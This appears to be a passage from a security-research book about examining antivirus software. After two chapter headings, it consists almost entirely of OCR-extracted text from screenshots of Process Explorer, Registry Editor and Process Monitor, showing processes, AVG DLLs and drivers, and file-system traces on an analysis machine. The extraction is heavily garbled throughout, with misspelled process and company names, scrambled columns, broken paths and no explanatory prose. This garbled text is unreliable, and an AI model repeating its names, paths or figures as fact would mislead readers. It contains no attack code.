Chapter 1: Introduction to the Security Landscape
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Chapter 2: Before Research Begins

Process
W svchost.exe
ﬁ vmtoolsd.exe
VGAuthService exe

i MBAMSsrvice exe
Mmbamiray.exe
'm svchost.exe

B svchost.exe
dilhost.exe
(J-»msdic.exe

B svchost.exe

(W svchost.exe

svchost.exe
B svchost.exe
svchost.exe
W svchost.exe
[ svchost.exe

B svchost.exe
42 Searchindsxer exe
1 ' SearchProtocolHost.exe
B ' SearchFilterHost.exe
B SecurityHealthService exe
(W svchost.exe
svchost.exe
SgrmBroker.exe

u Isass.exe
B | fontdrvhost.exe
W icsrss.exe
B ' winlogon.exe
B i fontdrvhost.exe
B | dwm exe
'+ EXplorer.exe
SecurityHealthSystray exe
vmtoolsd exe
@, OneDrive exe
1 [yprocexp.exe
2 procexpbd.exe

CPU _ Private Bytes | Working Set
1,268 K 5612K
0.03 8700 K 21,504 K
3,188 K 10,516 K.
1,540 K 7,460 K
3,388 K 12,420 K
<0.01 17,920 K 54,312 K
25388 K 41,332 K
1,248 K 5432 K
6,948 K 13,756 K.
<001 4112K 13,660 K.
0.01 2964 K 10416 K
2524K 10,172 K.
15,184 K 24,140 K
<0.01 10,004 K 21304 K
1,956 K 7.408K
4544 K 15,720 K
0.05 4424K 15,088 K.
2852 K 11,640 K.
2636 K 7,484 K
5,064 K 17.212K
8,656 K 36,484 K.
3,808 K 20,848 K
1,804 K 8072K
3,564 K 15,076 K.
3.900K 15,384 K.
3584 K 20,488 K
1816 K 7,280 K.
<0.01 26,168 K 35,656 K
2892K 11,352 K
1,696 K 7,308 K
<0.01 3,920K 15,120 K
2272K 10,088 K.
1,716 K 11,220 K
2,508 K 5952K
2408K 9,508 K.
0.02 5872K 21,332K
3,360 K 9,124 K
<0.01 1,688 K 8,120K
<0.01 3,002K 12,376 K.
2,048 K 11,840 K.
2444 K 8932K
<001 6,196 K 16,272 K
1420K 3432K
0.06 1,768 K 52,
2836 K 952 K
5544 K
365,784 K
163,360 K.
9,018 K.
42,740 K
63,944 K
11,320 K
71,540 K
3544 K
2912K 11,904 K.

PID Description

Company Name

2736 Host Process for Windows S... Microsoft Corporation
2748 VMware Tools Core Service  VMware, Inc.

2756 VMware Guest Authenticatio... VMware, Inc.

2828 Host Process for Windows S... Microsoft Corporation
2876 Host Process for Windows S... Microsoft Corporation
2896 Malwarsbytes Service Malwarebytes

4100 Tray

3008 Host Process for Windows S... Microsoft Carporation
3228 Host Process for Windows S... Microsoft Corporation

3448 COM Surrogate

4036 Microsoft Distributed Transa...
4804 Host Process for Windows S...
4808 Host Process for Windows S
5108 Host Process for Windows S...
4240 Host Process for Windows S...
4820 Host Process for Windows S ..
4356 Host Process for Windows S...
4508 Host Process for Windows S...
4436 Host Process for Windows S...
2548 Host Process for Windows S...
4376 Host Process for Windows S...
5268 Host Process for Windows S.__
5336 Host Process for Windows S...
5404

5508 Host Process for Windows S...
6108 Host Process for Windows S..
8560 Host Procass for Windows S...
7108 Microsoft Windows Search In..
7436

2840

7612 Windows Security Health Ser.
8204 Host Process for Windows S...
6952 Host Process for Windows S...
7196 System Guard Runtime Moni...
6756 Host Process for Windows S...
5852 Host Procass for Windows S

1668 Host P s for Windows S
1640 H: rocess for Windows S..
-al Security Authority Proc...
48
476
564
740
980
5600 Windows Explorer
5948 Windows Security notificatio...

6284 VMware Tools Core Service
6076 Microsoft OneDrive

1282 Sysintemals Pracess Explorer
2820 Sysinterals Process Explorer
9120

8136 Console Window Host

Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation

. Microsoft Corporation

Micresoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation

Microsoft Corporation

. Microsoft Corporation

Microsoft Corporation
Microsoft Carporation

Microsoft Corporation

flcrosoft Corporation

. Microsoft Corporation
.. Microsoft Carporation
.. Microsoft Corporation
. Microsoft Corporation
.. Microsoft Corporation

Microsoft Corporation

Microsoft Corporation
Microsoft Corporation
VMwars, Inc.

Microsoft Corporation
Sysinternals - www.sysinte..,
Sysinternals - www.sysinte...

Microsoft Corporation

W] Process.exe:9120 Properties

Threads
Image

TCP/IP Security

Performance

Image File

Version:  n/a

Build Time: Fri Feb 13 14:59:29 2009
Path:
C:\Users\nir\Desktop!\Process.exe

Command line:
“C:\Users\nir\Desktop\Process.exe"

Environment Job
Performance Graph

- ] X

Strings
GPU Graph

Explore

Current directory:
C:\Users\nir\Desktop\

Autostart Location:
n/a

Parent:  explorer.exe(5600)
User: DESKTOP-LKFGOMU\nir

Started:  10:31:58 30/12/2020

Explore

Verify

ing to Fr
Image: 32-bit CimiEEns

Comment: |
VirusTotal:

Data Execution Prevention (DEP) Status:

‘ Kill Process
Submit
Disabled (permanent)

Address Space Load
Control Flow Guard:
Enterprise Context:

Disabled (per Disabled
Disabled

N/A

Cancel

o]




Image Performance Performance Graph GPU Graph Services Threads [TCP/IP Security Environment Strings
Count: 74 4

TID “CPU CSwitch Delta Suspend Count Service Start Address
3220 <0.01 1 IRtlUserThreadStart
9092 IRtlUserThreadStart
3128 IRtlUserThreadStart
2900 0x0000000000000000
2052 IRtlUserThreadStart
3224 IRtlUserThreadStart
3264 IRtlUserThreadStart
3272 IRtlUserThreadStart
3276 IRtlUserThreadStart
3280 IRtlUserThreadStart
3288 IRtlUserThreadStart
3292 IRtlUserThreadStart
3320 IRtlUserThreadStart
3324 IRtlUserThreadStart
3328 IRtlUserThreadStart
3332 IRtlUserThreadStart
3336 IRtlUserThreadStart
3340 IRtlUserThreadStart
3344 IRtlUserThreadStart
3348 IRtlUserThreadStart
3356 IRtlUserThreadStart
3808 IRtlUserThreadStart
3812 IRtlUserThreadStart
3904 IRtlUserThreadStart
3908 IRtlUserThreadStart
3912 IRtlUserThreadStart
3916 IRtlUserThreadStart
Thread ID: 4200 Stack Module
[ Registry Editor - O

File Edit View Favorites Help

Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CompositeBus I

buttonconverter ~ | Name Type Data
CAD E_PJ(Default) REG_SZ (value not set)

camsve EPJDisplayName REG_SZ @compositebus.inf, %CompositeBus.SVCDESC%;Co...
Captureservice @ ErrorControl REG_DWORD 0x00000001 (1)

CaptureService_8ab57 EPJGTOUP REG S7 Extended Base

EE?:?:E sb57 ablimagePath REG EXPAND.SZ  \SystemRoot\System32\DriverStore\FileRepository\...
cdfe - E_P]Owners REG_MULTI_SZ compositebus.inf

CDPSve iib|Start REG_DWORD 0x00000003 (3)

CDPUserSvc ilﬁﬂJTﬂg REG_DWORD 0x0000000b (11)

COPUsersve 8abs7 | ilType REG_DWORD 0x00000001 (1)

cdrom

CertPropSvc

chtdiscsi

chtdvbd

circlass

CldFIt

CLFS

ClipSve

clr_optimization_v4.0.:
clr_optimization_v4.0.:
CmBatt

CNG

cnghwassist




File Options View Process Find Users Help

dEENOEEF < A | B || = =] wd |
Process CPU  Private Bytes Working Set PID Description Company Name
P ! Registry 0.26 8,068 K 19,220 K 88
B ' System Idle Process 90.46 60 K 8K 0
=] @ "System 0.28 192 K 144 K 4
B !Interrupts 3.65 0K 0K n/a Hardware Interrupts and DPCs
P smss.exe 1,176 K 1,228 K 308
¥ 'Memory Compression 136 K 30,604 K 1956
B 'csrss.exe 1,740 K 5240K 392
=] @ "wininit.exe 1,328 K 6,852 K 468
=] @ "services.exe 0.01 4,856 K 9,680 K 600
svchost.exe 916 K 3,864 K 724 Host Process for Windows S... Microsoft Corporation
= svchost.exe 10,240 K 27,576 K 812 Host Process for Windows S... Microsoft Corporation
B 'WmiPrvSE.exe 0.93 7,352 K 15,724 K 4032
[m7] StartMenuExperienceHost.... 21,044 K 68,040 K 4988
RuntimeBroker.exe 6,836 K 24 316 K 3480 Runtime Broker Microsoft Corporation
RuntimeBroker.exe 14,764 K 45408 K 5224 Runtime Broker Microsoft Corporation
[m7 ApplicationFrameHost.exe 20,596 K 40,148 K 5380 Application Frame Host Microsoft Corporation
browser_broker.exe 1,680 K 8424 K 5852 Browser_Broker Microsoft Corporation
[-] [ RuntimeBroker.exe 1,676 K 7,668 K 6100 Runtime Broker Microsoft Corporation
Susp... 3,844 K 13,352 K
RuntimeBroker.exe 3,816 K 19,220 K 6616 Runtime Broker Microsoft Corporation
B 'WmiPrvSE.exe 27,052 K 30,504 K 6656
[m7] smartscreen.exe 9,480 K 25,836 K 7068 Windows Defender SmartScr... Microsoft Corporation
[m]WindowsInternal.Composa... 11,108 K 38,732 K 6772 Windowslnternal.Composabl... Microsoft Corporation
RuntimeBroker.exe 1,612 K 7,320 K 2800 Runtime Broker Microsoft Corporation
E] Susp... 22,460 K 24,184 K
B unsecapp.exe 1,596 K 69844 K 7356
[m7 dllhost.exe <0.01 5216 K 12,128 K 1464 COM Surrogate Microsoft Corporation
BackgroundTransferHost.exe 4,272 K 23644 K 6420 Download/Upload Host Microsoft Corporation
Susp... 7,156 K 29,112 K
Susp... 11,104 K 30,972 K
Susp... 10,460 K 26,708 K
RuntimeBroker.exe 3,600 K 16,676 K 6672 Runtime Broker Microsoft Corporation
[m’]RuntimeBroker.exe 6,704 K 21,692 K 7124 Runtime Broker Microsoft Corporation
[m RuntimeBroker.exe 4,552 K 21,344 K 8976 Runtime Broker Microsoft Corporation
svchost.exe 0.01 7,228 K 16,020 K 856 Host Process for Windows S... Microsoft Corporation
[m:]svchost.exe 2,364 K 8,264 K 904 Host Process for Windows S... Microsoft Corporation
[m7svchost.exe 1,944 K 8,076 K 356 Host Process for Windows S... Microsoft Corporation
[m7 svchost.exe 1,452 K 5940 K 808 Host Process for Windows S... Microsoft Corporation
[m7 svchost.exe 1,296 K 5468 K 872 Host Process for Windows S... Microsoft Corporation
svchost.exe 2,312 K 10,456 K 636 Host Process for Windows S... Microsoft Corporation
svchost.exe 2188 K 12,300 K 1064 Host Process for Windows S... Microsoft Corporation
svchost.exe 0.24 16,880 K 19,612 K 1152 Host Process for Windows S... Microsoft Corporation
= svchost.exe 5,864 K 15,328 K 1168 Host Process for Windows S... Microsoft Corporation
[m7 taskhostw.exe 0.01 6,040 K 16,048 K 3876 Host Process for Windows T... Microsoft Corporation
svchost.exe 2,672 K 12,072 K 1208 Host Process for Windows S... Microsoft Corporation
svchost.exe 4,856 K 8,928 K 1332 Host Process for Windows S... Microsoft Corporation
svchost.exe 1,536 K 7,400 K 1352 Host Process for Windows S... Microsoft Corporation
[-] [m= svchost.exe <0.01 2,680 K 9,688 K 1396 Host Process for Windows S... Microsoft Corporation
[m7sihost.exe 6,452 K 25488 K 3536 Shell Infrastructure Host Microsoft Corporation
svchost.exe 2,448 K 7,712 K 1420 Host Process for Windows S... Microsoft Corporation
svchost.exe 2128 K 8,752 K 1584 Host Process for Windows S... Microsoft Corporation
svchost.exe 5,004 K 14,588 K 1600 Host Process for Windows S... Microsoft Corporation




CPU  Private Bytes

Working Set

PID Description

Company Name I
TOA76 K Z5,712K T8
P ! System Idle Process 93.25 60 K 8K 0
=] B ! System 0.18 192 K 144 K 4

Company Name

Select Columns...

Select Columns

Process Network

Process GPU
Process Image

Handle

Process Disk

Process Performance

? X
Process Memory

DLL .NET Status Bar
Process I/O

Select the columns that will appear on the Process view of

Process Explorer.
Process
PID (Process Identifier)
[ ] User Name
Description
Company Name
[ ] Verified Signer
[ ] Version

|:| Image Path

[ ]Image Type (64 vs 32-bit)
[ ] Package Name

[ ] DPI Awareness

|:| Protection

[ ] Control Flow Guard

[ ] Window Title
|:| Window Status
[ ] Session

[ ] Command Line
[ ] Comment

[ ] Autostart Location
[ ] VirusTotal

[ ] DEP Status

|:| Integrity Level
[ ] Virtualized

[ ] ASLR Enabled
|:| Ul Access

[ ] Enterprise Context

OK Cancel




5% AVGUI.exe:4724 Properties — O X

GPU Graph  Threads  TCP/IP  Security = Environment  Job Strings

Image Performance Performance Graph Disk and Network

Image File

‘ AVG Antivirus

Version: 20.10.5824.0

Build Time: Fri Dec 4 12:25:42 2020

Path:

C:\Program Files\AVG\Antivirus\AVGUI.exe Explore

Command line:
"C:\Program Files\AVG\Antivirus\AVGUI.exe" /welcome

Current directory:

C:\Windows\System32\
Autostart Location:

n/a Explore
Parent: explorer.exe(4528) Verify
User: DESKTOP-LKFGOMU\nir
Started:  19:07:21 11/01/2021 Image: 64-bit o9 o Front
Comment: || Kill Process
VirusTotal: Submit
Data Execution Prevention (DEP) Status: Enabled (permanent)

Address Space Load Randomization: High-Entropy, Bottom-Up
Control Flow Guard: Disabled
Enterprise Context: N/A

OK Cancel




Name
{6AF0698E-D558-4...
{AFBF9F1A-8EE8-4...
{DDF571F2-BE98-4...
cversions.2.db
cversions.2.db
iconcache_16.db
iconcache_32.db
iconcache_32.db
iconcache_idx.db
locale.nls
R000000000006.clb
SortDefault.nls
StaticCache.dat

Description

Company Nafme

Path
C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D5...
C:\Users\ninAppData\Local\Microsoft\Windows\Caches\{AF...
C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE...
C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db
C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db
C:\Users\ninAppData\Local\Microsoft\Windows\Exploreriico...
C:\Users\ninAppData\Local\Microsoft\Windows\Exploreriico...
C:\Users\ninAppData\Local\Microsoft\Windows\Exploreriico...
C:\Users\ninAppData\Local\Microsoft\Windows\Exploreriico...
C:\Windows\System32\locale.nls
C:\Windows\Registration\R000000000006.clb
C:\Windows\Globalization\Sorting\SortDefault.nls
C:\Windows\Fonts\StaticCache.dat

-\ fim A, \ O 1, 2\ A
pala.gll

swAMSL.dII AVG AMSI COM object AVG Technologies CZ, s.r.0. C:\Program Files\AVG\Antivirus\aswAMSI.dll
swhook.dll AVG Hook Library AVG Technologies CZ, s.r.0. C:\Program Files\AVG\Antivirus\aswhook.dll

aclur. €curity Descriptor £ditor ICrosort Corporation Windows\oystema2iaciul.

aclui.dll.mui Security Descriptor Editor Microsoft Corporation C:\Windows\System32\en-US\aclui.dll.mui

advapi32.dll Advanced Windows 32 Base API Microsoft Corporation C:\Windows\System32\advapi32.dll

amsi.dll Anti-Malware Scan Interface Microsoft Corporation C:\Windows\System32\amsi.dll

berypt.dll Windows Cryptographic Primitives ... Microsoft Corporation C:\Windows\System32\bcrypt.dil

beryptprimitives.dll Windows Cryptographic Primitives ... Microsoft Corporation C:\Windows\System32\bcryptprimitives.dll

cfgmgr32.dil Configuration Manager DLL Microsoft Corporation C:\Windows\System32\cfgmgr32.dll

clbcatqg.dll COM+ Configuration Catalog Microsoft Corporation C:\Windows\System32\clbcatq.dll

combase.dll Microsoft COM for Windows Microsoft Corporation C:\Windows\System32\combase.dll

comctl32.dll User Experience Controls Library Microsoft Corporation C:\Windows\WinSxS\amd64_microsoft.windows.common-co...

comdig32.dll Common Dialogs DLL Microsoft Corporation C:\Windows\System32\comdig32.dll

coml2.dll Microsoft COM for Windows Microsoft Corporation C:\Windows\System32\coml2.dll

Process CPU  Private Bytes Working Set PID Description Company Name

P ! System Idle Process 52.01 60 K 8K 0
- W " System 14.03 200K 140 K 4
B !Interrupts 5.32 0K 0K n/a Hardware Interrupts and DPCs

‘ Name Description Company Name Path
vgvmm.sys AVG VM Monitor AVG Technologies CZ, s.r.o. C:\Windows\system32\drivers\avgVmm.sys
vgSP.sys AVG Self Protection AVG Technologies CZ, s.r.o.  C:\Windows\system32\drivers\avgSP.sys
vgbidsdriver.sys AVG IDS Application Activity Monit... AVG Technologies CZ, s.r.o. C:\Windows\system32\drivers\avgbidsdriver.sys
vgSnx.sys AVG Antivirus AVG Technologies CZ, s.r.o.  C:\Windows\system32\drivers\avgSnx.sys
vgArPot.sys AVG Anti Rootkit AVG Technologies CZ, s.r.o. C:\Windows\system32\drivers\avgArPot.sys
vgKbd.sys AVG Keyboard Filter Driver AVG Technologies CZ, s.r.o. C:\Windows\system32\drivers\avgKbd.sys
vgNetHub.sys AVG Network Security Driver AVG Technologies CZ, s.r.o. C:\Windows\system32\drivers\avgNetHub.sys
vgRdr2.sys AVG Antivirus AVG Technologies CZ, s.r.o. C:\Windows\system32\drivers\avgRdr2.sys
vgMonFlt.sys AVG File System Filter AVG Technologies CZ, s.r.o. C:\Windows\system32\drivers\avgMonFlt.sys
vgbidsh.sys AVG Application Activity Monitor H... AVG Technologies CZ, s.r.o.  C:\Windows\system32\drivers\avgbidsh.sys
vgbuniv.sys AVG Universal Driver AVG Technologies CZ, sr.o.  C:\Windows\system32\drivers\avgbuniv.sys
vgStm.sys AVG Stream Filter AVG Technologies CZ, s.r.o. C:\Windows\system32\drivers\avgStm.sys




Time of Day Process Name
20:07:03.4296967 3 notepad.exe
20:07:03.4299260 .,,J notepad.exe
20:07:03.4329533 .,,J notepad.exe
20:07:03.4330881 Jnotepad.exe
20:07:03.4332188 mj notepad.exe
20:07:03.4333086 mJ notepad.exe
20:07:03.4408254 mJ notepad.exe
20:07:03.4409401 mjnotepad.exe
20:07:03.4420264 mJ notepad.exe
20:07:03.4422182 J notepad.exe
20:07:03.4423767 J notepad.exe
20:07:03.4424256 J notepad.exe
20:07:03.4424412 .,,J notepad.exe
20:07:03.4425044 .,,J notepad.exe
20:07:03.4425233 .,,J notepad.exe
20:07:03.4428733 .,,J notepad.exe
20:07:03.4429930 .,,J notepad.exe
20:07:03.5784197 .,,J notepad.exe
20:07:03.5785714 mj notepad.exe
20:07:03.5787522 mj notepad.exe
20:07:03.5787633 mJ notepad.exe
20:07:03.5788210 mJ notepad.exe
20:07:03.5788754 mJ notepad.exe
20:07:03.5789235 J notepad.exe
20:07:03.5792212 J notepad.exe
20:07:03.5792424 J notepad.exe
20:07:03.5792517 .,,J notepad.exe
20:07:03.5797863 .,,J notepad.exe
20:07:03.5798063 .,,J notepad.exe
20:07:03.5798145 .,,J notepad.exe
20:07:03.5809823 .,,J notepad.exe
20:07:03.5824980 .,,J notepad.exe
20:07:03.5827019 mj notepad.exe
20:07:03.5829452 mj notepad.exe
20:07:03.5831253 mJ notepad.exe
20:07:03.5833083 mJ notepad.exe
20:07:03.5835678 mJ notepad.exe
20:07:03.5837409 J notepad.exe
20:07:03.5839630 J notepad.exe
20:07:03.5841399 J notepad.exe
20:07:03.5843542 .,,J notepad.exe
20:07:03.5846518 .,,J notepad.exe
20:07:03.7493222 .,,J notepad.exe
20:07:03.8008139 .,,J notepad.exe
20:07:03.8054886 .,,J notepad.exe
20:07:03.8081024 .,,J notepad.exe
20:07:03.8123402 MJ notepad.exe
20:07:03.8141956 mj notepad.exe
20:07:03.8165114 mJ notepad.exe
20:07:03.8210398 mJ notepad.exe
20:07:03.8226727 mJ notepad.exe
20:07:03.8237307 J notepad.exe
20:07:03.8249645 J notepad.exe
20:07:03.8271416 J notepad.exe
20:07:03.8306327 .,,J notepad.exe
20:07:03.8327897 .,,J notepad.exe
20:07:03.8355894 .,,J notepad.exe
20:07:03.8377422 .,,J notepad.exe
20:07:03.8392904 .,,J notepad.exe
20:07:03.8423807 .,,J notepad.exe
20:07:03.8432532 .,,J notepad.exe
20:07:03.8443004 mj notepad.exe
20:07:03.8484836 mJ notepad.exe
20:07:03.8505363 mJ notepad.exe
20:07:03.8539563 mJ notepad.exe
20:07:03.8570487 | notepad.exe

PID Operation
8988 B\ QueryDirectory
8988 [, CreateFile
8988 [h QueryDirectory
8988 [, CreateFile
8988 B\ QueryDirectory
8988 [, CreateFile
8988 Ba QueryDirectory
8988 [h. CreateFile
8988 [h CreatsFile
8988 [h CloseFile
8988 [th CreateFile

8988 [h QueryAttribute....
8988 [h SetDispositionl...
8988 [h FileSystemCon...

8988 [, CloseFile
8988 B\ QueryDirectory
8988 [, CreateFile
8988 [, CreateFile
8988 [, CreateFile

8988 & QueryBasicinfo...

8988 [ WriteFile

8988 [h. SetEndOfFilelnf...
8988 [h SetAllocationlnf...

8988 [h CloseFile
8988 [h CreateFile

8988 h QueryNetwork...

8988 [h. CloseFile
8988 [h, CreateFile

8988 B\ QueryBasiclinfo...

8988 [, CloseFile

8988 a QueryDirectory
8988 [h QueryDirectory
8988 B\ QueryDirectory
8988 & QueryDirectory
8988 Ba QueryDirectory
8988 Ba QueryDirectory
8988 & QueryDirectory
8988 & QueryDirectory
8988 [h QueryDirectory
8988 h QueryDirectory
8988 [Gh QueryDirectory
8988 h QueryDirectory
8988 h QueryDirectory
8988 B\ QueryDirectory
8988 a QueryDirectory
8988 [h QueryDirectory
8988 [h QueryDirectory
8988 & QueryDirectory
8988 Ba QueryDirectory
8988 Ba QueryDirectory
8988 & QueryDirectory
8988 & QueryDirectory
8988 [h QueryDirectory
8988 h QueryDirectory
8988 [Gh QueryDirectory
8988 h QueryDirectory
8988 h QueryDirectory
8988 B\ QueryDirectory
8988 a QueryDirectory
8988 [h QueryDirectory
8988 [h QueryDirectory
8988 B\ QueryDirectory
8988 & QueryDirectory
8988 Ba QueryDirectory
8988 a QueryDirectory
8988 & QueryDirectory

Path
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt
C:\Users\nir\Desktop\hello.txt

Result

NO SUCH FILE
NAME NOT FOUND
NO SUCH FILE
NAME NOT FOUND
NO SUCH FILE
NAME NOT FOUND
NO SUCH FILE
NAME NOT FOUND
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

NO SUCH FILE
NAME NOT FOUND
NAME NOT FOUND
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

Detail

Filter: hello.txt

Desired Access: Read
Filter: hello.txt

Desired Access: Read
Filter: hello.txt

Desired Access: Read
Filter: hello.txt

Desired Access: Read
Desired Access: Generic

Desired Access: Read
Attributes: A, ReparseTag:
Flags: FILE_DISPOSITION
Control: FSCTL_READ_

Filter: hello.txt

Desired Access: Read
Desired Access: Read
Desired Access: Generic
CreationTime: 11/01/2021
Offset: 0, Length: 5, Priority
EndOfFile: 5
AllocationSize: 5

Desired Access: Read
CreationTime: 11/01/2021

Desired Access: Read
CreationTime: 11/01/2021

Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt
Filter: hello.txt, 1: hello.txt



&Y Event Properties

Event Process Stack

Date: 11/01/2021 20:07:03.5785714
Thread: 4564

Class: File System

Operation: CreateFile

Result: SUCCESS

Path: C:\Users\nir\Desktop\hello.txt
Duration: 0.0001546

Desired Access:
Disposition:
Options:
Attributes:
ShareMode:
AllocationSize:
OpenResult:

' * | []Next Highlighted

Generic Read/Write
Openlf

Synchronous IO Non-Alert, Non-Directory File

N

Read, Write
0

Created

Copy All

Close




B ' Process Monitor Filter

Display entries matching these conditions:

Company

Reset

v | contains

FE IBErT A

~ | AVG

Add

V‘ then Include

Remove

s

Column

Company

Relation
contains

Value
AVG

|

aProcess Name
aProcess Name
aProcess Name
aProcess Name
aOperation
aOperation
@Result

begins with
begins with
begins with

Action
Include

Autoruns.exe

Procmon64.exe

Procexp64.exe
System
IRP_MJ_
FASTIO_
FAST IO

Exclude
Exclude
Exclude
Exclude
Exclude
Exclude
Exclude

¥ AVGSvcexe

o AVGULexe.

Open

oK

Run as administrator

Troubleshoot compatibility

Pin to Start

Edit with Notepad++

Cancel

Scan selected items for viruses

Shred using AVG
Share

7504 B CrosaFie CAUsesnADeskioplatabaser exe
¢
7564 . ClosaFie CilsersineDeskiopaihaser oxe
7564 h Croourie CilserndDeskiopasitase oxe
¢
7584 B Closaria CilseminADeskiopaiaser oxe
7584 B CrooaFie CilsersindDeskiopasitase sxe
¢
7584 B Fresyssonconra CilsersinnDeskiopathaser sxe
¢
¢
7564 8 Flegysianconra CUsarsinnDeskiopmiaser axe
¢
¢
7564 b Croouiettogpng CllsendDeskiopasiiaser oxe
7564 B CrooaFle CiusenADeskioplinase oxe
7584 B ClossFie CibsarsndDeskiopashaser oxe
preod o CiProgram Fles AVGATISAVGU o0
P et Cibrogram FieSAVGATIOSAVGUI
pred: oot i Fles AVGATIAUSAVGU exe
P wiewrid CiProgran Fles AVGAMMISAVGU! ore
prevt: et Cibrogram Fles AVGARNISAVGU! o0
P wiewrid Cibrogram FIes AVGANMISAVGU o
22208 nesarts
P iewid
2220 3 rerle
Pt vhewind
prevt e
P wiewrind
2220 ResdFi
1428 rasri
P ool Cibrogam Fles AVG AR AVGU ore

success

Apply




[Jnly show processes still running at end of current trace

[ATimelines cover displaved events anly

W svchostexe (2788)

Description Image Fath
W teskhostw.exe (3876) Host Process for .. C:\Windowslsystem32itaskhestw.exe
B svehost exe (1396) Host Process for . C:\Windowstsystem32isvehost exe
1764) - axe
'} 1782) for ..
W svhostexe (2284) Host Process for .. C:\Windows'system32isvchost exe

C\Windows'system32isvehostexe

vmtoolsd exe (3044)
W svchostexe (3856)

C\Windows'system32isvehost exe

Description:
Company:
Path:
Command:
User: NT AUTHORITY\SYSTEM
PID: 4 Started:

System

Go To Event Include Process

Lite... Campany

[ Hicroso Corparation

icrasaht Gorporation

[ Microsch Corparation
icrasaft Corporation

Microsoft Corparation

[ Microsaht Corporation

C:\Progrem Files\VMware!VMware Toolswmtoolsd... [ Vidware, Inc.

DESKTOP-LKFGOMUinir
NT AUTHORITY\SYSTEM

Command

taskhostw exe (222A2458.E637-4AE9.AQ3F.AS9. .
C:\Windowstsystem32isvehost exe & netsves -p -

